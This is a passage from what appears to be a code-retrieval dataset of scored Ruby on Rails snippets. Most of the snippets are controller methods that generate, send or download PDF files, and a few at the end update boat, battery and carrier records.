\"Downloaded: #{file}\"\n end\n end\n end\n rescue # ERROR\n end\nend", "title": "" }, { "docid": "36adbd5eb70c8feee6a4806af9335fa2", "score": "0.64066505", "text": "def pdf\n resp = get resource_name, \"#{id}/pdf\"\n return resp if resp.error\n\n ret = resp.pdf\n ret.id = ret.id.to_i\n ret\n end", "title": "" }, { "docid": "d5c1b2ead6f933217f2a48ef0fac7589", "score": "0.64037246", "text": "def get_pdf\n File.write(path, Net::HTTP.get(URI.parse(uri))) unless File.file?(path)\n end", "title": "" }, { "docid": "f5766c11b0873553c1f1ef825e7af523", "score": "0.6384157", "text": "def index\n @pdfs = Pdf.paginate(\n :select => 'id, user_id, name, file_file_name',\n :include => [:user, :pages],\n :page => params[:page], \n :order => sort_calc('name', {:table => 'pdfs'})\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.xml { render :xml => @pdfs }\n end\n end", "title": "" }, { "docid": "6d16cbdf7ab6d8a1f659c84484ae08dc", "score": "0.634797", "text": "def show\n respond_to do |format|\n format.js\n format.pdf do\n if params[:download]\n send_file(@paper.bundle.path, disposition: \"attachment\", type: @paper.bundle_content_type)\n else\n send_file(@paper.bundle.path, disposition: \"inline\", type: @paper.bundle_content_type)\n end\n end\n end\n end", "title": "" }, { "docid": "58d578fd4d94f2f706584e61330decaf", "score": "0.63430643", "text": "def show\n @resource = Resource.find(params[:id])\n #send_file(@resource.pdf, :type => 'application/pdf', :disposition => 'inline')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n format.js\n end\n end", "title": "" }, { "docid": "5fd758f4e9934474dbfc2b746766ccb8", "score": "0.63289535", "text": "def index\n @get_started_pdfs = GetStartedPdf.all\n end", "title": "" }, { "docid": "0cf8bef2cf0436d521cf03b37ec664ef", "score": "0.63279", "text": "def download_pdf\n document = Document.find(params[:id])\n pdf=document.pdf_file\n send_file(pdf.path, :type => 'application/pdf', :page => '1')\n pdf.close\n document.destroy if document.status ==Document::DOCUMENT_NOT_ARCHIVED #not needed anymore\n push_app_status\n end", "title": "" }, { "docid": "e5091fa75d1fd69ae04b4d7a1640caa9", "score": "0.63119507", "text": "def download_document\n document = @person.documents.find(params[:id])\n\n send_file document.physic_path, type: document.content_type\n end", "title": "" }, { "docid": "aa16c77bd1eb058285bf6135a71a0ece", "score": "0.6311054", "text": "def show\n @petition = Petition.find(params[:id])\n\n puts \"PDF Link url = \"\n @petition.pdf_link = view_document(create_envelope(get_template))\n \n puts @petition.pdf_link\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petition }\n end\n end", "title": "" }, { "docid": "6ab73dae39f1f7421c37645bcc55be20", "score": "0.6294313", "text": "def new\n @pdf = @pdfable.pdfs.new(created_by: working_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pdf }\n format.js\n end\n end", "title": "" }, { "docid": "e2e7daecca58536a1f6c105b4e94aa7d", "score": "0.62844205", "text": "def upload_pdfs\n\n end", "title": "" }, { "docid": "8f694aef47faa0e04eee108661a2c89b", "score": "0.62766254", "text": "def show\n @paper = Paper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.pdf do\n send_data @paper.to_pdf, :format => 'application/pdf',\n :filename => \"#{@paper.name}.pdf\"\n end\n format.json { render :json => @paper }\n end\n end", "title": "" }, { "docid": "1033c1cbc486207649c9515b3a269109", "score": "0.62144005", "text": "def view_print_jobs\n response = @connection.get PDF_URL\n result = JSON.parse(response.body)\n end", "title": "" }, { "docid": "1033c1cbc486207649c9515b3a269109", "score": "0.62144005", "text": "def view_print_jobs\n response = @connection.get PDF_URL\n result = JSON.parse(response.body)\n end", "title": "" }, { "docid": "ff9f8fab77f8097ead596901aa05f49d", "score": "0.6203447", "text": "def show\n @bookpdf = Bookpdf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookpdf }\n end\n end", "title": "" }, { "docid": "0b26d2410c1b4b0653196f697a3ef00e", "score": "0.6200269", "text": "def pdf\n document = Document.find(params[:id])\n\n # The line below enables document caching for 12 hours. It's best to disable\n # this while we're still developing.\n # expires_in 12.hours, :public => true\n send_file(\n document.serve,\n type: \"application/pdf\",\n disposition: \"inline\")\n end", "title": "" }, { "docid": "bf116ac6245cbd5104f65663cd23413d", "score": "0.61928624", "text": "def print\n begin\n pdf_do\n rescue Exception => e\n dc_dump_exception(e)\n render json: { msg_error: t('drgcms.runtime_error') } and return\n end\n\n pdf_file = \"tmp/document-#{Time.now.to_i}.pdf\"\n @pdf.render_file Rails.root.join('public', pdf_file)\n\n render json: print_response(pdf_file)\nend", "title": "" }, { "docid": "d5c8be9666e1b6f778ee35be6d533618", "score": "0.61848223", "text": "def show\n @pdfhash = Pdfhash.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pdfhash }\n end\n end", "title": "" }, { "docid": "a479d79a5d6ef1851d6f55d14ed69d3c", "score": "0.6176328", "text": "def get_document\n \n document = Document.find(params[:id])\n \n send_data(document.data,\n :filename => document.name,\n :type => document.content_type,\n :disposition => \"inline\")\n \n end", "title": "" }, { "docid": "ce288c0bb0335f3fb56eedeecc4f0731", "score": "0.61651194", "text": "def show\n @pdf_path = note_path(id: @note.id, format: :pdf)\n\n respond_to do |format|\n format.html\n format.json\n format.pdf { send_data(@note.generated_pdf.data, filename: 'factuur.pdf', type: :pdf, disposition: :inline) }\n end\n end", "title": "" }, { "docid": "4ce660c3ec11f25bac744ceecf3212b7", "score": "0.61541474", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n format.pdf\n end\n end", "title": "" }, { "docid": "9a1f897db830cf1ae4ffa9b28629f60f", "score": "0.61521375", "text": "def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: {:files => [@documents_document.data] } }\n end\n end", "title": "" }, { "docid": "abfcff27c0f79e63e8ac7a974507240e", "score": "0.61278105", "text": "def pdf_file\n ActiveSupport::Deprecation.warn('This API has changed: Please use order.pdf_invoice.pdf instead')\n pdf_invoice.pdf\n end", "title": "" }, { "docid": "e636eee975c1bdce7033dd8bd32b518b", "score": "0.6124758", "text": "def show\n @download = Download.find(params[:id])\n\n respond_to do |format|\n format.html\n format.pdf{ render :pdf => generate_pdf(@download) }\n end\n end", "title": "" }, { "docid": "b91c44d713fcc9a49146ff2f5d817eef", "score": "0.6107008", "text": "def mandate_pdfs\n @mandate_pdfs ||= Services::MandatePdfsService.new(@api_service)\n end", "title": "" }, { "docid": "e66e93a342fe4d3db189ffa283879705", "score": "0.61038965", "text": "def download_proof_pdf(id)\n conn = @client.get do |req|\n req.url \"/api/v2/revision/#{id}/proof\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end", "title": "" }, { "docid": "f2b285ce65df634814821799fdf3b466", "score": "0.60959166", "text": "def show\n @so_header = SoHeader.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @so_header }\n format.pdf\n end\n end", "title": "" }, { "docid": "1cee823029a08923e5e2c582a8502653", "score": "0.60950845", "text": "def show\n pdf = Pdfs.find(params[:id])\n send_file pdf.full_filename, :type => 'plain/text', :disposition => 'inline'\n end", "title": "" }, { "docid": "3a580e95adebdb606130af5a26fbdefc", "score": "0.60948074", "text": "def download_pdf\n @resume_book = ResumeBook.find(params[:id])\n send_file @resume_book.pdf_file, type: 'application/pdf', x_sendfile: true\n end", "title": "" }, { "docid": "0d532089afb1273f0970572c59746f7f", "score": "0.6091587", "text": "def index\n @user = current_user if current_user\n @pdfs = current_user.pdfs \n end", "title": "" }, { "docid": "35c20f5758d1334c3b0d339edeb917f3", "score": "0.60737574", "text": "def dl_pdf\n @collection = ::Collection.find(params[:id])\n respond_to do |format|\n format.pdf do\n export_manager = Tufts::ExportManagerService.new(@collection, 'pdf')\n send_file(export_manager.retrieve_asset,\n filename: export_manager.readable_filename,\n type: \"application/pdf\",\n disposition: 'attachment'\n )\n end\n end\n end", "title": "" }, { "docid": "452912c87a61b355bb929e07c04fa4c2", "score": "0.6063681", "text": "def create\n @pdfs = Pdfs.new(params[:pdfs])\n @pdfs.save\n index\n end", "title": "" }, { "docid": "6636772cab615b6b31817d23bb79e24a", "score": "0.6062561", "text": "def show\n @web_reference = WebReference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_reference }\n\n format.pdf do\n pdf = WebReferencePdf.new(@web_reference, view_context)\n send_data pdf.render, filename:\n \"web_reference_#{@web_reference.created_at.strftime(\"%d/%m/%Y\")}.pdf\",\n type: \"application/pdf\"\n end\n end\n end", "title": "" }, { "docid": "7c845d445cdd326beba556437fe8e25e", "score": "0.60606325", "text": "def download_as(filename, data)\n { data: pdf(data), filename: filename }\n end", "title": "" }, { "docid": "fd8d91f59c67c24e1fae5c0b4e68ddf6", "score": "0.60549253", "text": "def destroy\n @website_pdf = WebsitePdf.find(params[:id])\n @website_pdf.destroy\n\n respond_to do |format|\n format.html { redirect_to website_pdfs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f20adf109628201bc7b579be82de1a96", "score": "0.6053397", "text": "def new\n @office = Office.new\n @office.pdfs << Pdf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @office }\n end \n end", "title": "" }, { "docid": "41a15798b8d159664b84f5dfbb5a76a5", "score": "0.604409", "text": "def index\n # use index.jbuilder?\n is_snapshot = params[:is_snapshot]\n @documents = {}\n\n current_user.receipts.each do |receipt|\n receipt.documents.each do |document|\n if ((is_snapshot != nil && document.is_snapshot == is_snapshot.to_bool) || is_snapshot == nil)\n @documents[document.receipt_id] =\n { :id => document.id, :filename => document.file_file_name, :content_type => document.file_content_type, :updated_at => document.file_updated_at, :path => document.file.url }\n end\n end\n end\n\n render :status=>200, :json=>@documents\n end", "title": "" }, { "docid": "48834b1b249312a8f86642f002d5ca04", "score": "0.60408014", "text": "def show\n @info_form = InfoForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_form }\n format.pdf\n end\n end", "title": "" }, { "docid": "8d75504a0c542185cbf73367e9f66701", "score": "0.6038591", "text": "def pdf_url\n data[:pdf_url]\n end", "title": "" }, { "docid": "8d75504a0c542185cbf73367e9f66701", "score": "0.6038591", "text": "def pdf_url\n data[:pdf_url]\n end", "title": "" }, { "docid": "1aef021e346ff1bd9edb1af429aa4d0a", "score": "0.6032092", "text": "def index\n @emprestimos = Emprestimo.all.page params[:page]\n gerar_pdfs(@emprestimos)\n end", "title": "" }, { "docid": "2bb4d2a5986267c46cff6bba38ebea39", "score": "0.60165817", "text": "def download_pdf\n ary_ids = params['def_ids']\n params.delete_if { |k, _v| %w[def_ids controller action].include? k }\n pdf = helpers.pdf(ary_ids, params)\n path_to_file = 'public/batale/errortog/output.pdf'\n Dir.mkdir('public/batale') if Dir.glob('public/batale') == []\n Dir.mkdir('public/batale/errortog') if Dir.glob('public/batale/errortog') == []\n pdf.render_file(path_to_file)\n\n respond_to do |format|\n @file_name = \"ajax_get_errortog_pdf?file=#{path_to_file}\"\n format.js { render partial: 'download_errortog', notice: 'Baixando arquivo.' }\n end\n end", "title": "" }, { "docid": "d0a8062ac72040e8a7f11c32926a4436", "score": "0.60134417", "text": "def pdf_path\n #job_id = id.to_s\n #job_id = sprintf(\"GUB%07d\", job_id.to_i) if done?\n return sprintf(\"/%s/pdf/%s.pdf\", package_name, package_name)\n end", "title": "" }, { "docid": "68498ac4f8ddce4257bd85e5de7e4c42", "score": "0.6009133", "text": "def send_pdfs\n package(\"#{package_name('original_documents')}.zip\") do |zip|\n @documents.each do |doc|\n zip.get_output_stream(\"#{doc.slug}.pdf\") {|f| f.write(asset_store.read_pdf(doc)) }\n end\n end\n end", "title": "" }, { "docid": "afbbda2d455f6db4ec179c9bddba1a63", "score": "0.60086423", "text": "def show\n @docuent_file = DocuentFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @docuent_file }\n end\n end", "title": "" }, { "docid": "8939eff81847197230760e963c8631dd", "score": "0.6008299", "text": "def show\n @plan = Plan.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n format.pdf do\n render :pdf => \"file_name\",\n :disposition => 'attachment'\n end\n end\nend", "title": "" }, { "docid": "3c4306aeeec81f70b286ca303b04fc22", "score": "0.5995824", "text": "def index\n @vehiculos = Vehiculo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehiculos }\n format.pdf {reporte_vehiculos(@vehiculos)}\n end\n end", "title": "" }, { "docid": "3f8bc8526b011d5a987513f9e97d1419", "score": "0.5986873", "text": "def show\n @json_data = {}\n @json_data[\"files\"] = []\n if File.exist?(\"gazettes/\" + @document.id.to_s + \"/data.json\")\n file = File.read(Rails.root.join(\"public\", \"gazettes\",@document.id.to_s,\"data.json\").to_s)\n @json_data = JSON.parse(file)\n end\n end", "title": "" }, { "docid": "2efbe709f192ed3bb4f21896041fa956", "score": "0.5986593", "text": "def primary_pdf_file\n members.select(&:primary?).first.files.select { |a| a.mime_type == \"application/pdf\" }.first\n end", "title": "" }, { "docid": "2efbe709f192ed3bb4f21896041fa956", "score": "0.5986593", "text": "def primary_pdf_file\n members.select(&:primary?).first.files.select { |a| a.mime_type == \"application/pdf\" }.first\n end", "title": "" }, { "docid": "6f8567746dfc32c9619490c765f00139", "score": "0.5975984", "text": "def get \r\n begin\r\n doc = Document.find(params[:d])\r\n user,docs = ones_documents(doc.user_id,\"documents.id = #{doc.id}\")\r\n raise unless doc == docs.first\r\n doc.viewed!\r\n if params[:f]\r\n file = doc.files.find(params[:f])\r\n send_data(file.data,:filename=>file.name)\r\n return \r\n elsif params[:l]\r\n link = doc.links[params[:l].to_i]\r\n redirect_to link\r\n return\r\n else\r\n require 'zip/zip'\r\n t = Tempfile.new(rand(100000).to_s + doc.title)\r\n Zip::ZipOutputStream::open(t.path) {\r\n |io|\r\n doc.files.each do |file|\r\n io.put_next_entry(file.name)\r\n io.write file.data\r\n end\r\n }\r\n File.open(t.path) do |f|\r\n send_data(f.read,:filename=>\"#{doc.title}.zip\")\r\n end\r\n\r\n end\r\n rescue Exception=>e\r\n # p e.message\r\n render_return\r\n end\r\n \r\n end", "title": "" }, { "docid": "9b5b93ab8b387814b4dcfd72a243ee8e", "score": "0.59755105", "text": "def index\n @pdf_files = PdfFile.all\n end", "title": "" }, { "docid": "24cc74320ca27f28b878bc597707042b", "score": "0.597248", "text": "def download_file\n \tclient = Client.find(params[:id])\n \tsend_data generate_pdf(client),filename: \"#{client.name}.pdf\", type: \"application/pdf\"\n end", "title": "" }, { "docid": "743768538bb831d35defa6d05bc10cca", "score": "0.5968353", "text": "def file_path\n structure = participation_request.structure\n \"invoices/#{ structure.slug }/participation_requests/#{ self.id }.pdf\"\n end", "title": "" }, { "docid": "3366526cf0374511039992851f0dfe2a", "score": "0.5965015", "text": "def pdf_url1\n a = \"http://ec2-107-22-95-239.compute-1.amazonaws.com/download/#{@rendimientos.dane}&-n&--filename=#{@rendimientos.nombre}\"\n b = \"http://pdfmyurl.com/?url=#{a}\"\n end", "title": "" }, { "docid": "53c3083e196dbe52e7dc26e6073dab37", "score": "0.5963347", "text": "def show\n @document = Document.find(params[:id])\n @quantities = @document.quantities\n @products = @document.products\n\n\n respond_to do |format|\n \n format.html # show.html.erb\n \n format.json { render json: @document }\n\n format.pdf do\n pdf = DocumentPdf.new(@document, view_context)\n send_data pdf.render, filename: \n \"document_#{@document.name}_#{@document.created_at.strftime(\"%d/%m/%Y\")}.pdf\",\n type: \"application/pdf\", disposition: \"inline\"\n # , disposition: \"inline - otworz w przegladarce zamiast pobierac\n end\n\n end\n end", "title": "" }, { "docid": "96fd02b43c72d262af83af64529897b9", "score": "0.5962774", "text": "def export_files\n unless request.headers['Accept'].nil? || request.headers['Accept'] == 'application/fhir+ndjson'\n status_not_acceptable_with_custom_errors([\"'Accept' header must have a value of 'application/fhir+ndjson'\"]) && return\n end\n\n id = params.require(:id)\n resource_type = params.require(:resource_type)&.downcase\n authorize_resource_type_read(resource_type)\n\n download = current_client_application&.api_downloads&.find_by(id: id)\n status_not_found_with_custom_errors(['No file found at this URL']) && return if download.nil?\n\n # Find and return the specific attachment associated with the given filename\n attachment = download.files.blobs.where(filename: \"#{resource_type}.ndjson\").first\n status_not_found_with_custom_errors(['No file found at this URL']) && return if attachment.nil?\n\n # Set the headers before streaming the returned content\n response.headers['Content-Type'] = 'application/fhir+ndjson'\n\n attachment.download do |chunk|\n response.stream.write chunk\n end\n ensure\n response.stream.close\n end", "title": "" }, { "docid": "4ba3042e4714b5501bc5ce9fa814170d", "score": "0.5954186", "text": "def destroy\n @pdfs = Pdfs.find(params[:id])\n @pdfs.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdfs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6dfbc8edd8f42170347842e8ee3b8c93", "score": "0.59516907", "text": "def pdf_file\n ActiveSupport::Deprecation.warn('This API has changed: Please use order.invoice.pdf instead')\n invoice.pdf\n end", "title": "" }, { "docid": "6dfbc8edd8f42170347842e8ee3b8c93", "score": "0.59516907", "text": "def pdf_file\n ActiveSupport::Deprecation.warn('This API has changed: Please use order.invoice.pdf instead')\n invoice.pdf\n end", "title": "" }, { "docid": "fa09e091f00e48df5e7e981983b6a694", "score": "0.5934528", "text": "def show\n @document_pages = Document.find(params[:id]).pages\n render json: {document: @document, pages: @document_pages}\n end", "title": "" }, { "docid": "e84e42b05a7345a99a7df9ba5dee852c", "score": "0.5930893", "text": "def show\n respond_to do |format|\n format.html\n format.pdf\n end\n end", "title": "" }, { "docid": "6c7a9313065ed7f722dd39c40cabb081", "score": "0.591226", "text": "def cliente_location\n \"#{Rails.root}/app/pdfs/clientes/cliente-#{self.id}.pdf\"\n end", "title": "" }, { "docid": "e908f7ee4262ca0a08a3f58feb2b0137", "score": "0.59065384", "text": "def pdf\n response = request(:get_pdf, {\n \"invoiceHandle\" => handle.to_hash\n })\n\n Base64.decode64(response)\n end", "title": "" }, { "docid": "8dd667ad7cfe19ffdd59efd9da763c90", "score": "0.58995336", "text": "def show\n respond_to do |format|\n format.html\n format.json\n format.pdf do\n render pdf: \"technical\",\n template: \"clients/show.html.slim\",\n title: 'PDF Cliente',\n layout: 'pdf'\n end\n end\n end", "title": "" }, { "docid": "c419a27d1839ca63058e5d36fbc51d7c", "score": "0.58921987", "text": "def show\n @file_download = FileDownload.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @file_download }\n end\n end", "title": "" }, { "docid": "3da8f4db24810a5a086300780cc4bf72", "score": "0.58874446", "text": "def download_preflighted_pdf(id)\n conn = @client.get do |req|\n req.url \"/api/v2/revision/#{id}/preflightedPdf\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end", "title": "" }, { "docid": "58e23778e2195e7502915dba41bfb135", "score": "0.588722", "text": "def index\n @api_docs_json_file = API_DOC_FILE\n end", "title": "" }, { "docid": "c7eb33ad78ebec9475299d76d92fd928", "score": "0.5885975", "text": "def create_pdf(document_id, options = {})\n client.get(\"api/pdf/#{document_id}.json\", options)\n end", "title": "" }, { "docid": "94ee5b26a44565446cbcec2d48d17cad", "score": "0.5880403", "text": "def pdf_url\n doi_to_file = doi.gsub('/', '.')\n\n \"#{Rails.application.settings[\"papers_html_url\"]}/#{joss_id}/#{doi_to_file}.pdf\"\n end", "title": "" }, { "docid": "3c34b0cf0bf3ff3835dcb575dafebbd5", "score": "0.58772403", "text": "def google_document\n # Eg: url = https://docs.google.com/document/d/1iBzIYM_GG5OCXkuF4vKwSYRFaH3gd8Q_kuDrqT7Iu4U/edit\n # Split google document url than collect document-id.\n # document_id = 1iBzIYM_GG5OCXkuF4vKwSYRFaH3gd8Q_kuDrqT7Iu4U\n document_id = URI.split(url)[5].split('/')[3]\n GoogleApiClient.export_file(document_id, \"application/pdf\")\n rescue StandardError => e\n errors.add(:url, google_client_error_message(e))\n end", "title": "" }, { "docid": "692ce8eb949ee88d8084b85db7a43145", "score": "0.5872653", "text": "def index\n respond_to do |format|\n format.html\n format.pdf do\n render pdf: \"index\"\n end\n end\n end", "title": "" }, { "docid": "8e66fb135ba93c7866461ebbda709836", "score": "0.5872481", "text": "def show\n respond_to do |format|\n format.html {}\n format.json {}\n # send the content part only as file with .pdf format\n format.pdf {\n @data = @medical_record.content\n send_data(@data, :type => 'pdf', :filename => \"#{@medical_record.id}.pdf\", :disposition => 'download')\n }\n end\n end", "title": "" }, { "docid": "bf3522ab44b1dd8cb54fee50decf5317", "score": "0.58665705", "text": "def download_files(files_url)\n path = files_url.gsub(/^https:\\/\\/api\\.hellosign\\.com\\/v\\d+/,'')\n if path =~ /^\\/transmission/\n type = \"pdf\"\n else\n type = \"zip\"\n path = \"#{path}?file_type=#{type}\"\n end\n puts \"Path #{path}\"\n response = client.get(path)\n # puts \"Response #{response.class}\"\n # puts \"Response #{response[0,100]}\"\n return response, type\n end", "title": "" }, { "docid": "139f76a47dc169d515d84551108f9e7f", "score": "0.58653784", "text": "def pdf\n @invoice = Invoice.find(params[:id])\n respond_to do |format|\n format.html { redirect_to(\"/invoices/pdf/#{@invoice.id}.pdf\") }\n format.pdf { render :layout => false }\n end\n end", "title": "" }, { "docid": "2042384529b86ed85d42b9fbd11b1387", "score": "0.5864877", "text": "def show\n respond_to do |format|\n format.html\n format.json\n format.pdf do\n pdf = PtPdf.new(@pt)\n send_data pdf.render, filename: \"pt_#{@pt.id}.pdf\",\n type: \"application/pdf\",\n disposition: \"inline\"\n end\n end\n end", "title": "" }, { "docid": "79699f4ab9d2acac2b049709ad575b39", "score": "0.58596975", "text": "def show\n @item = Item.find(params[:id])\n\n\n # render_pdf('show.pdf')\n respond_to do |format|\n # format.html { render_pdf 'show.pdf' }\n format.html # show.html.erb\n \n format.json { render json: @item }\n end\n end", "title": "" }, { "docid": "4ce173a5a585cd07d20a0d7ec58f7299", "score": "0.58558536", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @retention_concept }\n format.json do\n dump_tmp_filename = Rails.root.join('tmp',@retention_concept.cache_key)\n Dir.mkdir(dump_tmp_filename.dirname) unless File.directory?(dump_tmp_filename.dirname)\n recibos_afectados_pdf(dump_tmp_filename,@retention_concept)\n send_file(dump_tmp_filename, :type => :pdf, :disposition => 'attachment', :filename => \"recibos_afectados.pdf\")\n File.delete(dump_tmp_filename) unless Rails.env.development?\n end\n\n end\n end", "title": "" }, { "docid": "c1451e9c22d620cd1f91a1549650ffe6", "score": "0.58547187", "text": "def show_documents\n @documents = Document.all\n\n retVal = Array.new\n @documents.each {|document| retVal << hash_with_path(document) } \n\n render json: retVal\n end", "title": "" }, { "docid": "a4b16fabd3f02cf192e2958b982f1ad1", "score": "0.58405685", "text": "def index\n @historia = Historium.all\n @instituciones = Institucione.all\n respond_to do |format|\n format.html\n format.json\n format.pdf do\n render pdf: \"Reporte RESIES\",\n disposition: 'attachment',\n template: \"historia/index.html.erb\"\n end\n end\n end", "title": "" }, { "docid": "465041aa46f53ce537e61c8c7fdaff5e", "score": "0.5832595", "text": "def pdf_url(document)\n begin \n # Get the position of the sequence 1 content\n content_array_position = document[\"sequence_ssm\"].index(\"1\")\n resource_id = document[\"resource_object_id_ssm\"][content_array_position]\n ds_id = document['resource_ds_id_ssm'][content_array_position]\n pdf_url = \"#{url_base}/resources/#{resource_id}/#{ds_id}\"\n\n return pdf_url\n rescue\n return nil\n end\n end", "title": "" }, { "docid": "51417a2457715b5e1a71db088c1a4a6c", "score": "0.5829467", "text": "def download_pdf_by_name\n name = params[:name].sub(/\\//, \"_\") # sanitize\n send_file(\"#{Rails.root}/public/system/private_pdfs/#{conference_tag}/#{name}#{locale_string}.pdf\",\n :filename => \"#{conference_tag}_#{name}#{locale_string}.pdf\",\n :disposition => \"inline\", :x_sendfile => true) \n end", "title": "" }, { "docid": "2a454e7219c5f41a1d1b277a2114c437", "score": "0.58268136", "text": "def show\n respond_to do |format|\n format.html\n format.pdf do\n html = render_to_string(action: 'show.html.haml', layout: 'invoice_pdf')\n kit = PDFKit.new(html)\n filename = \"invoice_#{@invoice.number}_#{@invoice.conference.short_title}.pdf\"\n\n send_data kit.to_pdf, filename: filename, type: 'application/pdf'\n return\n end\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "cd93825048b483604519b27a27ce50a1", "score": "0.58228326", "text": "def show\n respond_to do |format|\n format.html\n format.pdf do\n render pdf: 'document.pdf',\n disposition: 'inline',\n template: 'documents/show.pdf.erb'\n end\n end\n end", "title": "" }, { "docid": "3d9a58c97c316f279062bef1b5f88f86", "score": "0.58220786", "text": "def download\n # Find the paper\n paper = Paper.find(params[:paper_id])\n # Authenticate\n can_access_club?(paper.club_id)\n\n # Send file\n pdf_path = Rails.root.join(\"uploads\", paper.uuid, \"fulltext.pdf\")\n send_file pdf_path, :type=>\"application/pdf\", :x_sendfile=>true \n end", "title": "" } ]
38bfbe797a46f410fb09dcc59000f7dd
PUT /device_batteries/1 PUT /device_batteries/1.json
[ { "docid": "b252c7d8b916ef82904c2d89faf603b3", "score": "0.5988842", "text": "def update\n @device_battery = DeviceBattery.find(params[:id])\n\n respond_to do |format|\n if @device_battery.update_attributes(params[:device_battery])\n format.html { redirect_to @device_battery, notice: 'Device battery was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @device_battery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "773a6658f62250448659cc414efe069a", "score": "0.6293697", "text": "def update\n boat = Boat.find_by(name: params[:name])\n\n if boat.update(boat_params)\n render json: BoatSerializer.new(boat).serialized_json\n else\n render json: errors(boat), status: 422\n end\n\n end", "title": "" }, { "docid": "8526bda945752e27df3ffdba1b7efea0", "score": "0.6230848", "text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "0ab5076e6f48ca3e49673e5002b91d63", "score": "0.6132632", "text": "def update\n @battery = Battery.find(params[:id])\n # params[:battery][:system_type_id] = SystemType.find_by_name(params[:battery][:system_type_id]).id\n\n respond_to do |format|\n if @battery.update_attributes(params[:battery])\n format.html { redirect_to station_batteries_path(@battery.station), notice: 'Battery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @battery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "26f21c7d38b2d4d9cffd83f9854372d8", "score": "0.5979494", "text": "def update\n beer = Beer.find(params[:id])\n beer.update(beer_params)\n render json: beer\n end", "title": "" }, { "docid": "692eaabee73a833c5c56aa7fd05696c9", "score": "0.58772373", "text": "def update\n respond_to do |format|\n if @boat_detail.update(boat_detail_params)\n format.html { redirect_to @boat_detail, notice: 'Boat detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_detail }\n else\n format.html { render :edit }\n format.json { render json: @boat_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f59e8819d45b06c326461220f16c477f", "score": "0.58158076", "text": "def update\n \t@boat = Boat.find(params[:id])\n \[email protected]({\n \t\tname: params[:boat][:name],\n \t\tlocation: params[:boat][:location],\n \t\tcapacity: params[:boat][:capacity]\n\n \t})\n \tif (@boat)\n \t\tredirect_to url_for(:controller => :boats, :action => :index)\n \telse\n \t\tredirect_to url_for(:controller => :boats, :action => :edit)\n \tend\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5815098", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5815098", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15831058c5e384463bbc72832bc28097", "score": "0.5815098", "text": "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d7400fdc2a64a1e9fad443e862d0351", "score": "0.5801815", "text": "def update\n @my_bike = MyBike.find(params[:id])\n \n if @my_bike.update(my_bike_params)\n render json: @my_bike\n #head :no_content\n else\n render json: @my_bike.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "550a4b2811339849a4bbc7d36158912c", "score": "0.57995903", "text": "def update\n @bounty = Bounty.find(params[:id])\n\n respond_to do |format|\n if @bounty.update_attributes(params[:bounty])\n format.html { redirect_to admin_bounties_path, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8eac44da153974d17b7faedf1ea9cc83", "score": "0.577482", "text": "def bat_params\n params.require(:bat).permit(:name, :manufacturer_id)\n end", "title": "" }, { "docid": "213133730a225eee8a9f6a47731e7445", "score": "0.5760522", "text": "def update\n @my_bike = MyBike.find(params[:id])\n \n if @my_bike.update(my_bike_params)\n render json: @my_bike, status: :ok\n else\n render json: @my_bike.errors, status: :unprocessable_entity\n end\nend", "title": "" }, { "docid": 